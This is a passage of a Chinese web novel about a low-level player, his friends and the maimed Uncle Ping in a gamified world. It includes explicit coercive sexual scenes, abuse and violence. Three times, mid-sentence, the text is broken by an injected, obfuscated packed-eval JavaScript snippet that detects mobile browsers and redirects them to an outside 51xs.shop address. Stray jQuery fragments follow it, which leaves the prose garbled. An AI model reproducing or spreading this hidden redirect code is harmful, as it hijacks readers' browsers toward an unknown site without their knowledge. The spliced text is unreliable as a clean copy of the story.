“平叔没有让我变强。”沈曙雀道:“你说,你站在平叔身边能听到提示音……我,那时候什么都没听到。叶生光也说,她什么都没听到。”
乌修平欲言又止。
他内心一个不妙的预感。
“阿雀!”
“平叔害怕男性。”沈曙雀道:“啊呜。我们回仁爱院,试验一次吧。”
“我不要。”
“我想平叔或许被其他男性侵犯过。”沈曙雀冷酷说出自己的结论,“所以,只要是男性站在他身边,他就会感觉到害——”
清脆的巴掌声,沈曙雀半边脸侧过去。
空气中呼呼响着乌修平急促的呼吸声,伴随狗喘一般的抗拒,“阿雀。阿雀不要这么说……对不起。对不起。”他扑上前,抱住沈曙雀,不断为自己刚刚的冲动忏悔,“对不起。对不起。”
沈曙雀推开他,凝视着挚友的泪眼。
她抬起手,利落扇乌修平两巴掌,一左一右扇了好几个轮回。
“清醒了吗?”沈曙雀拽住乌修平的脑袋,明明是一个病患却比谁都凶悍,“你这个脑子不清楚的笨蛋!你就这么忌惮自己和平叔那点事情吗?那是关键吗?那是吗?”
乌修平不知道。
他觉得自己真恶心,但他又无法接受平叔变成沈曙雀口中的样子。他想是不是自己当时没有和平叔告白,平叔就不会逃避仁爱院,就不会变成现在的样子——哪怕两者中未必有因果关系,可乌修平控制不住自己那么想。
他是个恶心的同性恋。
恶心的同性恋。
“对不起。对不起。”他完全混乱了,眼泪鼻涕一把一把地掉,任由沈曙雀用拳头揍他,脸埋在沈曙雀身上,慢慢流淌到地上,瘫痪成一滩,“对不起。对不起。我不知道,我不知道,对不起对不起。”
14. 第十三章
第十三章
回到仁爱院前,乌修平去找了穴鼠。
他和过去一样帮穴鼠打扫房间,投喂穴鼠。虽然位于上位,他却一点也没感觉到快乐:强者匍匐于身体下,只带给乌修平种强烈的不现实感——无论多少次,乌修平都无法理解穴鼠为什么喜欢自己。
他是一个遍布伤疤嘴笨心拙的15级废物。
没有长相,没有情商,没有等级,没有家世,连讨人欢心都做不到。
“你这次很不专心。”穴鼠在完事后,叼着棒棒糖咔咔评价道:“刚打完架的男人不应该横冲直撞,往死里干吗?你的力气呢?喂!”他一边说,一边用脚踹乌修平的屁股和腰。
乌修平反手抓住穴鼠的脚,把人划拉到身边。
“喂。那什么鸟活下来了?”穴鼠吐出棒棒糖,凑到乌修平嘴边,“啊~扫兴。我还以为她死了。”
乌修平不耐烦穴鼠谈仁爱院的一切。
可他又有求于穴鼠。
哪怕在穴鼠这里的他自己是如此卑劣,如此不堪入目,乌修平都会将自己最羞耻的愿望说出来——他肯定自己说出来又要挨打——不过没关系,疼痛于他来说是最微不足道的东西。
“我想知道,解除‘痛苦之匣’的办法。”乌修平虔诚地说道:“穴鼠。拜托你。请您告诉我吧,让我付出什么代价都可以。”
穴鼠没有答应下来。
他盯着乌修平认真的表情,噗嗤憋不住笑,两脚在半空乱蹬,咯咯大叫起来,“付出什么代价都可以……乌鸦,你以为你自己是谁?”
乌修平双手攥住被单。他情愿穴鼠扇自己几个巴掌,而不是现在这样。
“抱歉。我知道这个请求很过分。但是,什么代价都可以!只要我做得到,我都能做到。”
“你做不到。”穴鼠道:“搞清楚你是什么东西。乌鸦。”
昏暗的灯光下,穴鼠的唇珠滚动几下。乌修平看见他蠕动着说了什么,一瞬间,邪恶又狠毒地想法出现在乌修平心中:他多么想和床上一样,狠狠制裁这个该死的男人,这些该死的强者。
他与沈曙雀,与平叔,与仁爱院一切穷苦众生的悲剧都是这些高等级玩家,这个游戏化时代的错误!
“下去吧。”穴鼠用脚将乌修平拱下去。
那个问题消散他们之间最后一点暧昧的倾诉。穴鼠用被子裹住脑袋,露出半只手和一串长长的哈欠,“别管平安生了。他就这样,我帮不了你……你要是复仇,我建议你去找找他的同伴。他们可比你有资格说出刚刚那些蠢话。”
乌修平知道平叔有队友。
但和平叔经常上门帮忙不同,平叔的队友们极少出现在仁爱院里。他们多站在仁爱院外,远远地冷漠地等待平叔归队。乌修平孩提时总羡慕看着他们肩并肩离开,与沈曙雀会笨拙猜测里面谁是什么职业,又在队伍里负责什么。
乌修平每每都羞于上前询问答案,猜对也不知道自己的对错。
反而是沈曙雀勇敢又主动,第一次猜职业后,便将那些男人们的职业问了个遍,拿着答案在乌修平面前装傻充愣,再也没有输过。
“他们会为平叔报仇吗?”
“不知道。他们挺讨厌我的。”乌修平想起往事,沮丧起来,“我也没怎么和他们说过话。太奇怪了。”
乌修平刚考入高中那一年,平安生的小队正好接了一个带新人的工作。平安生提议让乌修平进来打杂,都不需要蹭经验,纯粹让傻孩子见见高等级的副本。队伍里除了平安生,居然没有任何一个人同意。
后续乌修平想要进入平安生所在小队,也是屡次碰壁。
逐渐地,他意识到那一队男人对自己抱有强烈的不满。
时到今日,乌修平也不理解那是什么意义上的不满。
如果可以,他并不希望接触平叔的队友们。
沈曙雀经过一天一夜的休息,止住血,大致能活动四肢。她拄着乌修平的手,边走边回忆过去, “平叔失踪的消息不就是他们告诉我们吗?”
他们绕过七七八八的沟渠,在垃圾场上去除自己身上的血腥味,再从后门穿过荒坡,钻入仁爱院的狗洞。童姥姥时刻关注着全局,发觉他们回来后,略微皱眉,再次施展技能掩盖他们的踪迹。
“说什么呢?”
沈曙雀抢先道:“在说平叔的队友们。”
提起这个,童姥姥也有印象,“我记得,都是差不多年龄的大老爷们。他们找你们了?”
乌修平摇摇头,“没有。穴鼠先生让我去找他们。”
童姥姥看着沈曙雀脸上一个巴掌,乌修平脸上两个巴掌,也不知道这两小的又在闹什么变扭。这么多年,她也插手不了这两个的矛盾,叹气道:“都去休息,弄成什么样子。”
中饭,乌修平和沈曙雀都没吃。
晚饭,乌修平和沈曙雀也没吃。
他们两都没什么胃口,各自抱着心事,一高一低躺在单独收拾出来的棚屋下,盖着薄被和防水布,孤零零地看星星。
“今天会不会来个人把我们都杀了?”沈曙雀询问道。
乌修平回答道:“我会和他同归于尽的。”
沈曙雀不屑地笑起来,“就不能打赢他吗?”
乌修平回答道:“阿雀不帮我的话,我没有自信打赢活下来。”
沈曙雀呲着牙给乌修平一拳,“王八蛋。我不要流血。”
乌修平受着这一拳,闭着眼自言自语,“不会的。不会流血的。阿雀。”他接连着喊了好多声“阿雀”,像是通过这种方式锚定沈曙雀的存在,“阿雀。我害怕见平叔。”
“你砍富二代时害怕吗?”
乌修平仔细想下,老实道:“不害怕。”
“对战傀儡呢?还有那只大鸟。”
乌修平再想想,摇头肯定道:“不害怕。”
他们和很小的时候一样碎碎叨叨说着很多话,不一定有意义,但这样躺在盖在独属于他们的空间中,乌修平和沈曙雀便觉得心安。他们裹着彼此的衣服,呼吸着一块被褥下的空气,低声埋怨彼此。
“你害怕什么?”沈曙雀道:“平叔讨厌你?现在还管什么讨厌不讨厌。”
“我不知道。”
“最烦你这点。”沈曙雀指责,“说了这么多,不如偷偷去见一见。”
乌修平想:沈曙雀终究没有喜欢过谁。她要是和自己一样喜欢过任何一个人,准说不出这种话。
那种始于年少时的懵懂喜欢,软软的,几乎不带有任何情色的味道,光是平安生这个名字,这个人出现在乌修平的世界
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223166|139400||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,少年的心就能磅磅炸一整天。
可惜,那时,乌修平太年轻了。
他没有见识过男人与男人之间的情爱,也并不清楚一段男女之间的情爱。在情窦初开的年纪,他对感情所有的理解来自同学之间的流言蜚语,一些书上的桥段,爱情画报上男女深情拥吻,违禁视频里不断响亮的声音。
乌修平为此感到深深的羞耻。
这种羞耻心延续到现在,依旧没有消亡——他侧过身,沈曙雀被他扶过来做打气的僚机。两个人贴在门上,压住把手,往里挪动开一条缝隙:孩子们的呼吸声、磨牙声、梦呓与啜泣密密麻麻地淌在地上。月光透过挨着的床板与栏杆缝隙,拉长最高最端庄的一座睡塌。
一张摇篮床。
“我就不进去了。”沈曙雀放风把门,说道:“你轻点,别吵醒人。”她压下身形,露出缝隙,乌修平从其中钻过去。月光照耀在他身上,将他的影子拉成一个男人该有的魁梧样子。
房间里每一段呼吸都不一样,乌修平尽量让自己镇定下来。他闭上眼,又睁开眼,又闭上。周围轻且杂乱的孩子呼吸声,一层一层剥开,每走一步,便剥开一个孩子的外壳。
等乌修平走到摇篮床前,他重新恢复成一个成年男性的呼吸。
与他对照的是另外一个熟睡的成年男性的呼吸。
平叔。
乌修平渴望月光正正好照耀在平安生的脸上,又期望月光永远不要挪动到这里。昏暗的房间中,借助水泥地的反光,他模糊看到平安生的脸庞与五官,从男人的脖颈、胸襟,他的回忆自动填补出男人的四肢。
修长的手指上面带着一点厚实的茧,那是常年拿着法杖挥舞练出来的战绩,乌修平喜欢那些老茧触摸自己的脸蛋,他认为男人就需要有一些劳动力残留的象征;而在乌修平更小的时候,平安生会撩起袖子,亲昵地抱着他与沈曙雀,将他们两个高高地夹在脖子上,“哇呜哇呜”绕着转圈玩。
乌修平人生中第一双名牌运动鞋是平安生穿过几次的二手货。那是他第一次接触到平安生的脚码,沿着成年男性踩出来的宽度,他穿进去,脸忽得红起来。
他焦虑地行走,说不出这双鞋子哪里好,哪里不好,又觉得哪里都是好,哪里都是不好的。他感觉到无促,涨红着脸,呼吸,开始变得急促,接着混乱地呼喊年长者,“平叔。”
“平叔。”
月光照耀在乌修平的脸上,那些因幻想产生的汗水闪烁在伤疤中,每一道都像是欲望的沟壑。他抓住自己的胸口,紧闭双唇,迫使自己保持沉默。
平安生没有睁开眼。
提示音准点到达。
【您的经验增长100。】
【因特殊原因,增加经验失败。经验转化为自由点数。请及时调整点数。】
……
【您的经验增长100。】
【因特殊原因,增加经验失败。经验转化为自由点数。请及时调整点数。】
……
“平叔。”乌修平低声道:“你害怕我会做什么吗?”
他的脸在月光下,像野兽,又像是融化的蜡块,汗水凝固成另外一种形式的泪水,缓慢地滴落在平安生的嘴唇边。
平安生没有动。
似乎,依旧在熟睡。
15. 第十四章
第十四章
第二天的仁爱院,都没有发生过一样。
平安生依旧在沉睡,砍去四肢后,他的心气完全瘪下去,昏沉一日又一日,没有醒过来的征兆。乌修平与沈曙雀站在门口,两个人吃着咸菜挂面,吸溜吸溜,谁也没有提起昨天晚上的事情。
对于他们每个人来说,昨天晚上的一切都是沉寂的、不应该被说出来的。
“你去测试力量吗?”沈曙雀询问,“有变强。”
“嗯。”
乌修平攥住手,给沈曙雀展示自己新点上的技能,“似乎比之前更强大一些。”这算是个好消息,因为乌修平会比之前更强大。同时,这又是个坏消息,说明乌修平比他相信得更让平安生伤心。
“我觉得穴鼠先生说得有道理。”乌修平自言自语道:“或许,应该联系平叔的队友们,他们比我们两个更有本事。我们也应该赶快逃跑。”
他昨天还不这么想,见过平叔后,摇摆许久。
沈曙雀道:“你别轻举妄动,找姥姥和叶生光商量,我们再行动。”
他们吃干净最后一点油水,端着碗去厨房收拾东西。沈曙雀蹲在地上打肥皂泡沫,乌修平研究破水龙头上缠着的防水布条。他们各自忙着,一道小小黑影蹿上来,停在乌修平脚边,吱吱吱吱乱叫会,乌修平走到哪里,那黑影也跟着走到哪里。
乌修平早习惯这种小东西,脚步不停。
小黑影便爆发出一声短促的尖叫,跳到乌修平的裤腿上,钻入裤口袋,沿着上衣,从衣袖口袋里钻出来——它是只用印有各种花色缝起来的花布偶小老鼠,棉布尾巴甩出波浪线的形状。
“吱吱。”
乌修平顶着指头,将花布小老鼠藏在袖口里,装作还在忙活到处乱走。等周围无人,他才说,“不是昨天才满足过你吗?来找我做什么。”
花布小老鼠的眼睛是用记号笔点出的两个黑点。
就在乌修平问出话的下一刻,那两个黑点倏然活过来一般,闪动着灵光,发出穴鼠那无理取闹的声音,“你昨天晚上在做什么?好啊,我说你怎么在床上一点不认真,原来你满心都想着那个大叔!现在马上过来,到我这里来。”
乌修平一把掐住花布小老鼠的脑袋,不想听下去了。
“现在才几点。”
花布小老鼠狠狠翘起棉布尾巴抽打乌修平的手指。
“我不管。我几点要你,你就必须过来。臭乌鸦!你和你那个鸟朋友一样——给我过来!我昨天根本没有睡,根本!没有睡觉。”
乌修平大概能想到事情始末与后续。
穴鼠又跟踪他、偷窥他、监视他,看见他同男人女人接触,发狂地指责他与那些男人女人,咬住他的脚踝,将他拖到床上,扒光衣服,做一遍又一遍,直到完全失去思考的力气。
“我没有对平叔做什么。”
“你想了。”
“……你怎么知道我想了?”
“我不管。反正你早饭吃了,今天必须让我满意。”穴鼠粗言秽语不断,笨笨可爱的花布小老鼠在他的操控下,都变得□□不堪起来。他不断强调自己最重要,也是次数最多的命令,“现在,马上,过来。”
乌修平没有任何反抗的余地。他找个烂借口,跟着花布小老鼠走密道,进入穴鼠的巢穴:一进门,他看到赤条条的穴鼠躺在被褥中,胸口上放着拆开的蛋糕和饼干盒子,左手边的屏幕播放着18级限制画面,右手边的屏幕放着他昨天晚上的丑态。
乌修平登时什么伪装都不剩了。
他简直气急败坏,都不顾穴鼠下一刻能拍死自己,拼命捡起自己可笑的尊严。
“穴鼠!你太过分了。”
“我过分?我还要问问你当时在想什么?”穴鼠抬起腿,拧过头看向乌修平。他的两只眼像两盏烛,飘忽在浑浊的空气中,随着口吻忽明忽暗,“想要抱起他?狠狠爱他?哦,也是……以前得不到的长辈,现在变成了……现在这个样子。”
穴鼠虚虚做了一个环抱的姿态,嘲笑道:“反正是人彘,想做什么,就可以做。对吧。”
乌修平简直不敢相信自己听到了什么。
他牙齿磕碜着嘴唇,血压出来,甜腥的涌入咽喉中——用正义使者的口吻严厉地批判穴鼠,以一切高高在上的道德审判穴鼠吗?可是他自己难道真的没有想过吗?
不。他想过。
乌修平感觉自己浑身血都是冷的,脸热得发烫。他在穴鼠面前没有任何尊严,似乎也应该随着这段关系保证自己的心完全属于穴鼠。可从最开始,他并不是这样堕落的孩子,他承认自己有不干净的想法,可他想自己绝不应该被这样的指责。
因为,他并没有做什么。
“我。”
“你昨天在这里做了什么?。”穴鼠抵住乌修平的胸口,用力地向下踩。他故意要乌修平看自己,四肢全部打开,炫耀一般指着红红白白的痕迹,语气却不受控制暴躁起来,“说话。”
“在。”乌修平半跪着,难以启齿,“在这里。那个。”
“说话!”
乌修平沉默下去。
他不说,有的是人替他说。穴鼠抄起枕头,乱七八糟摔在乌修平脸上,一边打一边痛骂起来,“你昨天在这里叉我!叉我!听到了没有。我早就和你说过,你是我的!被我发现你和别人睡了,我就把你那根割掉!听到了没有。”
乌修平一动不动。
他脑袋被这句话轰得空荡荡,穴鼠抓着他的脸,叠坐在他的身上,他才短促地颤抖下。而穴鼠用手指强行掰开他的嘴,沿着唇边将乌修平咬得鲜血淋漓,浑身上下汗津津才停止。
“知道现在要做什么吗?”穴鼠挺起胸膛,撩拨开湿漉漉的长发,命令道:“进来。”
乌修平像是个玩具,毫无反抗地执行任务。
被穴鼠踢翻在地上的奶茶,逐渐干涸,空气中充斥着甜腻的香气。乌修平的口腔却充斥着铁锈味。穴鼠双手捧着他的脸,双臂贴着他的伤口,头发缠绕成粗粗的一道甩在身后,仿若匹驰骋的野马。
“你哭什么?”穴鼠忽然问道。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223167|139400||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
乌修平这才意识到脸上存在什么东西。
他罕见地抬起手,擦掉脸上的眼泪——其实他也分不清那是眼泪、汗水,还是其他东西。过去他被穴鼠欺负,除了哭泣、嚎叫,露出各种丑态。穴鼠将他当成盲盒集卡一般,时常说过分的话,做过分的事情——到最后,有时是乌修平主动,有时是穴鼠主动,有时是他们两互相推拉,他们中可能有任何一个人停下,但不会一起停下。
这就是“爱”。
无论他们之前吵得有多么凶狠,他们之间发生任何事情,只要“爱”一运转起来,穴鼠会变成转轮中小老鼠,乌修平会变成囚笼中的乌鸦。他们短暂忘却所有不愉快,在“爱”这一运动中消磨精神,变得柔软。
“这次又为什么哭。”穴鼠喘息道:“我喜欢看你哭。不要停,继续哭。”
他们滚在一起。
这次从床上滚到了地上。乌修平听到食物压碎的声音,他有短短一瞬间想去捡起那些食物。但很快,穴鼠的双腿夹住他的腰腹,如同擀面杖一般将所有杂念碾成粉末。
“怎么又不哭了。”穴鼠喘气,涎水从他的舌尖滴下来,落在乌修平的伤疤上。
乌修平回答道:“我忘了。”
“也行。”穴鼠恋恋不舍地挠着乌修平的肉,追问道:“你忘了什么都可以,但不能忘了我和你说的事情——你是我的,别人都不能用。你也不准喜欢上别人。”
乌修平别过头。
这一刻,他真想对穴鼠说点气话。他非常想看这位89级的强者为自己暴跳如雷:一个低等级者在情感关系里只能仰仗这点东西,证明自己存在过,被人爱过。
可他又害怕下一秒,穴鼠轻而易举地翻脸,因为他的不听话不乖巧出卖他,将他丢到万劫不复之地。
“嗯。”乌修平只能这样答应下来。
“你发誓。”
乌修平举起手,闭上眼,“我发誓。”
“从今天开始,此生此世,你不准和别人做!”穴鼠一个一个数过去,“那个鸟朋友不可以,你的叔也不可以,别的人也不行。”
乌修平跟着念道:“从今天开始,此生此世,我不会和别人做。”
“后面呢?”
“我真的不会。”
穴鼠一巴掌打在乌修平的肩膀上,“你说不会就不会吗?”
乌修平真感觉到一丝不耐烦。他忍不住想穴鼠还要自己怎么样?难道身体控制是他想要怎么样就能怎么,想不怎么就能不怎么吗?乌修平能做的就是当一个正人君子,保证不同其他人发生关系:除了穴鼠,他也没遇到第二个找他发生关系的男人。
“当然不会。”乌修平道:“难道你要24小时监视着我吗?”
“怎么会呢?我只是想给你上个锁。乌鸦,我是在不放心你和那个叔叔在一起。万一,你和昨天一样起来,忽然欺负他了呢?我岂不是亏大了?啊~对你的平叔也不是很好吧,人家毕竟不是同性恋。”
穴鼠以亲切地口吻说道:“乌鸦。管不住的东西,我帮你管。不好吗?”
16. 第十五章
第十五章
人类无法控制自己的情感。
自然,人类也无法控制因情感波动产生变化的生理器官。
这让人的肮脏、卑劣、不堪入目自带了原罪。
对穴鼠这样高高在上的强者来说,他要乌修平永远的属于他,最好从基础的生理管辖开始,他不在乎乌修平到底是怎么想的,只看事实发生了什么。
而事实偏偏就是:平安生让乌修平的身体出现了新变化。
穴鼠不允许这样的变化出现。
他轻而易举找出一个戒指,用其套住乌修平,上下欣赏这枚戒指与戒指本身的含义,对乌修平道:“以后你去哪里我都知道。你和谁上了床,做了什么,做了多久我也知道。”
明显,这还有后半段话。而没有说出来的后半段才是穴鼠真正兴奋的地方。他翘着脚欣赏乌修平发烫的脸,时不时用脚揶揄这个男人,恶劣地哈哈大笑起来。
乌修平在这哈哈大笑中,仓皇逃离穴鼠的巢穴。
一切都糟糕极了。
他钻出暗道,晚风吹在脸上,没有什么心旷神怡的清爽。乌修平浑身上下黏糊糊,迫切寻找个清理身体的地方:他不能回仁爱院,不能让沈曙雀看见自己身上的污垢。公共厕所早停水多年,里面粪便都硬成石头,去了也是一坨。
乌修平思来想去,偷摸去黑市旁抛尸常用的暗渠,将外套扯下来泡一把,随便擦擦就往回跑。
早晚有一天他要活生生草死穴鼠。乌修平发狠地想着,可他走两步身下的异常就提醒他,还是现实点比较好。
15级把脑髓操出来,都不一定能伤到穴鼠半分。
这就是89级。
强者在什么地方都是强大,战斗、生活、床上、床下都是异常的强大。乌修平走两步,还得休息一下,□□的异样摩擦得他很不舒服。他总疑心有人在看自己,还故意模仿瘸子走路,宁可让人把自己当成残废也不要人猜测自己那点玩意不正常。
沈曙雀偷摸出来找人就看见这一幕。
她一句话击碎乌修平脆弱的男性自尊,“你蛋给人踢了?”
乌修平活过来了,又好像再次死掉一回。他蹲在地上,一句话都不愿意和沈曙雀讲,搞得沈曙雀用鞋子踢他的小腿大惊小怪半天。
“不会吧。真被人踢了?”沈曙雀弯下腰,看乌修平的脸,“哭了?”
乌修平原本不想哭的,“阿雀!”
“干嘛。”
“给我留点面子好不好。”
沈曙雀嗖的直起身,盘手站立,“不要。你去哪里了?”
“我。”
“不会又是老鼠找你有事情吧。”这个说辞出现太多,沈曙雀都听腻了。她也确实相信穴鼠找乌修平有事情,属于女性的直觉又让她觉得这些事情不一定是真正的“正事”。
一如穴鼠讨厌沈曙雀,沈曙雀也非常讨厌穴鼠。
“臭死了。”沈曙雀捏着鼻子,递上把纸,“赶快擦擦。”
乌修平捏着纸,还没擦就被劣质印刷染红了手。他才发现这些纸都是些宣传单,上面画着奇怪的鬼画符,红红的笔写着“血缘教派”等内容。
转职时代总有很多奇怪的信仰,乌修平把纸揉成团,擦掉明显污垢,再擦擦鞋丢掉。他同沈曙雀一起回仁爱院,罚跪接受童姥姥的指责:有姥姥的技能兜底,他们两也在安全范围里活动,但很多事情不怕一万,就怕万一。
提高实力,才能一劳永逸。
“我今天遇到‘血缘教派’的人。”沈曙雀道:“还记得那个傀儡吗?我感觉他们的运作模式非常相似,都与血肉有关。”
血缘教派在附近晃荡也不是一天两天了。沈曙雀和乌修平上小学时,这玩意还是公认的邪教。等他们两上中学时,血缘教派居然从邪教名单上撤下来,摇身一变成了附近的正经教派,招募门槛也从贫民升级到有钱人。
沈曙雀不止一次懊悔自己没早点申请入教。
“有钱人都抢着进去,里面肯定有点真东西。”沈曙雀煞有其事,很有套自己的理论,“听说,他们有一套自己的晋升方式,特别适合我这种人。”
乌修平心情依旧很糟糕。
沈曙雀是不会管他的,自顾自介绍道:“还记得他们操控那些小皮偶表演节目吗?据说是用新信徒的皮做成的……不过只用大腿和背上的皮,我觉得还可以接受。”
乌修平满心眼都是自己的下半身。
他想不起过去和沈曙雀一起看血缘教派的街边表演。沈曙雀碎碎念片刻,用橡胶管接上水龙头,帮乌修平冲澡。
“你不脱吗?”
“……不了。”乌修平双手撑墙,“你直接冲吧。”
强烈的水打在乌修平背上,大概两秒,水就关掉。弯弯曲曲的水渍卡在乌修平诸多伤疤上,一层一层向下。乌修平随手撸把脑袋,脱掉外套,脱掉裤子,胡乱擦擦,换上新的。
“上个月他们在工厂附近发传单……也不知道会不会来我们这里招收新信徒。有钱人肯定不舍得取自己的皮做皮偶。” 沈曙雀还在说血缘教派的事情。她的语气说不出是嘲弄还是庆幸,“这样也好,至少给我们这种普通人一条上升渠道。啊呜。我打算去试试看。”
乌修平大惊失色,强烈反对,“曙雀。姥姥和修女知道你参加那种教派,会把你赶出去的。”
“那就把我赶出去好了。”沈曙雀道:“啊呜。你确实能用平叔变强吧。”
乌修平顿在原地。
沈曙雀每一句话都生疼地扎他的心,“我不行。我是女孩子,我无法让平叔产生恐惧。有时候,我真羡慕你。”
沈曙雀无法用平安生提高能力。
她不能,自然也不会这么去做。
她比乌修平更渴望强大,能走的路却比乌修平更加狭窄。
乌修平却在这时候无比羡慕沈曙雀,他看着自己此生最好的朋友,下半身的疼痛时刻提醒着他:阿雀什么都不知道。
什么都不知道。
真好。
*
仁爱院大门口。
叶生光圈着一群孩子们坐在树下,她看不见,耳朵还算灵敏,听到陌生人的脚步,轻轻搁下手中的盲文书,拍手招呼孩子们。
“小小。大大。让弟弟妹妹们站好。”
一大群孩子呜呜呀呀跑起来,他们跑起来的姿态各有各的扭曲,放眼望过去像群凌乱的羔羊。水泥上扬起一阵尘土,来者的身影绰绰,黑帽黑口罩穿着黑卫衣黑裤,双手带着黑手套,脚上一双黑鞋,浑然与四周融为一体。
他身体四周唯一的颜色便是手上的传单。
“你好。”黑卫衣道:“我们是‘亲缘至上’义演团,后天在天光商超有一场免费演出。不知道您这里的孩子有没有兴
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223168|139400||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
趣来参观。”
叶生光:“抱歉。我们的孩子有些特殊,可能会打扰其他客人,就不叨扰你们了。”
其他孩子有些焦急,小鸡一样抬起头,想说话又恐惧什么。他们蹲着,站着,发旋凑在一起,叽叽喳喳用混乱的语言说这话。叶生光一个人的声音就盖过他们所有人。她道:“您可以留下传单。我们这里大一些的孩子或许会感兴趣。”
“太好了。”黑卫衣道:“如果您担心孩子们。”他组织语言,目光一一扫过这些特殊的、明显不同于常人的孩子们,温和地说道:“我们‘亲缘至上’可以单独为孩子们开一场。您放心,我们是纯公益组织不会收取任何费用。”
叶生光露出微笑。
似乎,她就是为了达到这个目的。
“太好了。您和您的成员都是大善人。”叶生光道:“祝您们修行顺遂,等级高升。”
黑卫衣也搭配着寒暄几句,转身离开。
叶生光空荡荡的眼眶远远地注视着黑卫衣离开的方向,直至孩子们重新喧哗起来,她命令道:“都回去。明天谁也不准出门,叫上学的孩子们也回来。修平哥和曙雀姐在哪?快把他们两找回来。”
两人恰从二楼往下,还没站定。
叶生光一个消息将他们两砸得头昏脑转,“有人找上们来了。”
“什么?”乌修平和沈曙雀大吃一惊。几个孩子七嘴八舌说起事情,又是一个黑乎乎的男人同叶生光说话,又是有表演可以看,中间夹杂着一些不明所以的呓语。
叶生光道:“明修女与血缘教派的人有过节。童姥姥还出手拆过他们的台子。他们打死也不会来我们仁爱院宣传。”
这只是线索之一,真正让叶生光察觉到不对的是另外一个细节。
“那个人没有呼吸。”叶生光肯定道:“我不会听错的,他不光没有呼吸,属于人的很多细节都没有——我怀疑,他是一个傀儡。”
乌修平警觉,“姥姥的技能失效了?”
“不。姥姥的技能还在生效。”叶生光推测道:“他和你们两交手过,再加上修平哥之前的就业记录,用排除法就能锁定到这一片区域。”
再结合一部分孩子们放学路上的所见所闻,叶生光猜出对方的行动:“孩子们放学途中看到很多类似的人挨家挨户送传单。他们和血缘教派的宣传员混在一起,挨家挨户做排查。”
这个笨方法与人海战术相配合,忽然变得棘手起来了。
“又是傀儡。”沈曙雀看向乌修平,“我还没好。你一个人能宰了他们吗?”
乌修平不知道。
他觉得前途渺茫,求助地看向沈曙雀,又看向叶生光,想实在不行他再滚回去找穴鼠帮忙——他都答应让穴鼠做那么羞耻的事情了,再低声下去几句,穴鼠应当会心情愉悦地帮忙吧。
“修平哥。”
“啊?”
“明天,你去杀个人吧。”叶生光笃定道:“对方迟早能找到平叔的位置。不把这个人杀掉,我们所有人都会死。”
乌修平错愕看着叶生光,还没有说什么。房屋里骤然传出男人凄厉的叫声,仿若野兽濒死前的挣扎。乌修平下意识就要去,下半身猛地收紧,他整个人无法控制地跌倒在地上,只能眼睁睁看着沈曙雀跑进去,又跑出来。
“啊呜。”沈曙雀慌张地道:“平叔。平叔正在变成一个箱子。”
17.第十六章
第十六章
平安生重新变回一个32寸行李箱。
他大腿和胳膊处柔软的肉块,被看不见的丝线自动折叠到胸口。黑色的胶状物从他的毛孔中渗出,贴着他的身体形成层黑色的薄膜。随着时间的变化,这层薄膜不断变深,覆盖住平安生的口鼻。
远远看过去,那不是一个人,而是一块用黑橡胶做成的人形玩具。
沈曙雀从没有见过这一幕。这个女孩完全被吓到了。她不断将那些不知世的孩子们轰出去,脸色惨白嗓门奇大,到最后嘶吼痛骂起来,“出去!都出去!不许进来!都给我出去!”
他们把门反锁上。
乌修平四肢冰凉看着这一幕,将手放在自己嘴里,咬得鲜血淋漓——他不能再这个时候叫出声来。他害怕再听到平安生身上传来的提示音。
唯有什么也看不到的叶生光保持最后的冷静。
“是道具吗?”
沈曙雀不知道。她看到平安生时,平安生就是个人的样子。她将目光投向唯一一个知情者,轻微地摇晃脑袋。
乌修平点了点头。
叶生光道:“曙雀姐,你要继续待在这里吗?”
沈曙雀:“谁知道这个道具后面会怎么样。我还是在这里看着平叔好了。”
“嗯。修平哥。修平哥”叶生光说着,带着乌修平坐在房间的角落。两个人沉默看着那张摇篮床,两双眼睛里具是空洞。叶生光虚虚扶着周围,踱步走来,声音越来越轻,不断在前方探路,“哥。哥?”
乌修平没有说话。他伸出手,接住叶生光的指尖。
“哥。”叶生光道:“现在你有不得不杀人的理由吗?”
乌修平低下头。
他一贯不热衷言语,因为他的伤疤太丑陋,他此生的挚友和家人太少,他所感受到的温暖局限于仁爱院这片小小的天地。也是因此,他将这些东西看得格外重要,甚至超过了他自己的价值。
“陈少爷。”乌修平呓语道:“戒指。戒指还在他手里。”
*
城某私立医院,VIP病房。
“废物!区区一个15级!你们都搞不定。”水果盘扫到地上,陈少爷捂住咽喉,喘气,咽喉上的绷带因用力忽松忽紧。站在他边上的保镖沉默捡起水果,承受着雇主的无理取闹。
在他们面前一面传讯镜,闪烁着光芒。
